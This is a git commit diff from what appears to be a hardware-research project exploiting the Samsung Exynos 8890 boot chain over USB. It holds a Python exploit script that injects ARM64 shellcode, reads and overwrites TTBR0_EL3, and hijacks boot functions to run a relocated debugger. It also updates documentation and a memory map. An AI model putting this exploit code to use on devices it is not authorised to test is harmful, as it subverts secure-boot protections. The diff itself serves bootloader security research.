Loads and executes BL31, then returns debugger, then continues bootflow and enters recovery
This commit is contained in:
parent
a12453cbd3
commit
e59478187d
@ -4,9 +4,13 @@ Booting
|
||||
=======
|
||||
This part describes the boot chain of the ``Exynos 8890`` SoC.
|
||||
|
||||
Booting Protocol
|
||||
================
|
||||
TODO document normal samsung boot chain
|
||||
Memory overview
|
||||
===============
|
||||
|
||||
.. raw:: html
|
||||
|
||||
<iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
|
||||
|
||||
|
||||
Exploitation
|
||||
============
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -10,7 +10,11 @@ start,end,name,order,comment,X0,LR
|
||||
0x02048000,0x0206ed10,BL2,,,,
|
||||
0x02069000,0x0206f000,Debugger,,,,
|
||||
0x020c0000,0x020c7000,Debugger relocated,,,,
|
||||
0x02048000,0x0204daf0,BL2 empty space?,,,,
|
||||
0x0204eb00,0x0204eb00,BL2 copy start/source,,,,
|
||||
0x020c2000,0x020e8d10,BL2 load address?,,,,
|
||||
0x0206ed10,0x02070000,End/Start peripheral space?,,,,
|
||||
0x02019e5c,0x02020e5c,Tried debugger space,,,,
|
||||
0x020C7800,0x020C8000,modem_interface,,,,
|
||||
0x14AC0000,0x14ac5000,mali@14AC0000,,,,
|
||||
0x2035600,0x2035608,TTBR0_EL3 address ptr,,,,
|
|
14
documentation/source/_static/stack_and_functions.html
Normal file
14
documentation/source/_static/stack_and_functions.html
Normal file
File diff suppressed because one or more lines are too long
Binary file not shown.
@ -385,7 +385,7 @@ class ExynosDevice():
|
||||
_setup_debugger()
|
||||
|
||||
|
||||
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000):
|
||||
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
|
||||
"""
|
||||
Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses!
|
||||
|
||||
@ -411,7 +411,7 @@ class ExynosDevice():
|
||||
# self.usb_write(b"FLSH") # Flush cache
|
||||
self.cd.restore_stack_and_jump(entry)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
||||
self.cd.relocate_debugger(g_data_received+0x1000, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
|
||||
self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
|
||||
|
||||
|
||||
def dumb_interact(self, dump_imems=False):
|
||||
@ -553,7 +553,7 @@ class ExynosDevice():
|
||||
shellcode = f"""
|
||||
ldr x0, debugger_addr
|
||||
blr x0
|
||||
debugger_addr: .quad 0x020c0000
|
||||
debugger_addr: .quad 0x02022000
|
||||
"""
|
||||
|
||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
@ -579,25 +579,49 @@ class ExynosDevice():
|
||||
# self.cd.restore_stack_and_jump(0x000125b4)
|
||||
|
||||
def get_ttbr0_el3(self):
|
||||
"""
|
||||
Get the TTBR0_EL3 register using opcode.
|
||||
"""
|
||||
shellcode= f"""
|
||||
mov x1, lr
|
||||
mrs x0, ttbr0_el3
|
||||
ldr x2, =0x020c1000
|
||||
ldr x2, =0x206fd10
|
||||
str x0, [x2]
|
||||
mov lr, x1
|
||||
ret
|
||||
"""
|
||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
self.cd.memwrite_region(0x020c0000, shellcode)
|
||||
self.cd.jump_to(0x020c0000)
|
||||
ttbr0 = u64(self.cd.memdump_region(0x020c1000, 8))
|
||||
self.cd.memwrite_region(0x206ed10, shellcode)
|
||||
self.cd.jump_to(0x0206ed10)
|
||||
ttbr0 = u64(self.cd.memdump_region(0x0206fd10, 0x8))
|
||||
print(f"TTBR0_EL3: {hex(ttbr0)}")
|
||||
print(f"Bits: {ttbr0:064b}")
|
||||
|
||||
# Overwrite it with 0's
|
||||
self.cd.memwrite_region(0x020c1000, b"\x00" * 8)
|
||||
ttbr0 = self.cd.memdump_region(0x020c1000, 8)
|
||||
assert ttbr0 == b"\x00" * 8, "TTBR0_EL3 not overwritten"
|
||||
self.cd.memwrite_region(0x0206ed10, b"\x00" * 0x8)
|
||||
ttbr0 = self.cd.memdump_region(0x206ed10, 0x8)
|
||||
assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
|
||||
|
||||
|
||||
def test_write_execute(self, address):
|
||||
"""
|
||||
At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
|
||||
"""
|
||||
|
||||
self.usb_write(b'PING')
|
||||
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
|
||||
|
||||
shellcode = f"""
|
||||
mov x1, lr
|
||||
ret
|
||||
"""
|
||||
|
||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
self.cd.memwrite_region(address, shellcode)
|
||||
self.cd.jump_to(address)
|
||||
self.usb_write(b"PING")
|
||||
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
|
||||
print(f'Jumped to {hex(address)} and back')
|
||||
|
||||
|
||||
def debugger_boot(self):
|
||||
@ -611,13 +635,10 @@ class ExynosDevice():
|
||||
logger.debug('State after setting up initial debugger')
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
|
||||
# dumped = self.dump_memory(0x20000, 0x2070000)
|
||||
|
||||
DEBUGGER_ADDR = 0x2069000 # 0x2069000
|
||||
self.get_ttbr0_el3()
|
||||
|
||||
# Relocate to other debugger
|
||||
debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
|
||||
debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read()
|
||||
self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000)
|
||||
DEBUGGER_ADDR = 0x02048000
|
||||
|
||||
@ -707,6 +728,8 @@ class ExynosDevice():
|
||||
self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR))
|
||||
# self.cd.restore_stack_and_jump(hijacked_fun)
|
||||
|
||||
# Write 'a1 00 00 00' to 0x0202a330
|
||||
|
||||
self.cd.restore_stack_and_jump(0x02024010)
|
||||
|
||||
time.sleep(2)
|
||||
@ -715,6 +738,18 @@ class ExynosDevice():
|
||||
self.usb_read(0x200) # GiAs
|
||||
self.cd.arch_dbg.fetch_special_regs()
|
||||
|
||||
BL31_ra = self.cd.arch_dbg.state.LR
|
||||
|
||||
# Relocate debugger back to the start of the stack
|
||||
# debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
|
||||
# self.relocate_debugger(debugger=debugger, entry=0x14ac3000, storage=0x14ac4200, g_data_received=0x14ac4400)
|
||||
# DEBUGGER_ADDR = 0x14ac3000
|
||||
|
||||
# Again restore bootflow
|
||||
self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
|
||||
self.cd.restore_stack_and_jump(hijacked_fun)
|
||||
time.sleep(2)
|
||||
|
||||
|
||||
# ==== Stage 3 BL2 ====
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
|
||||
@ -738,6 +773,7 @@ class ExynosDevice():
|
||||
pass
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
arg = argparse.ArgumentParser("Exynos exploit")
|
||||
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||
@ -769,3 +805,6 @@ if __name__ == "__main__":
|
||||
exynos.dumb_interact()
|
||||
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
with open()
|
Loading…
Reference in New Issue
Block a user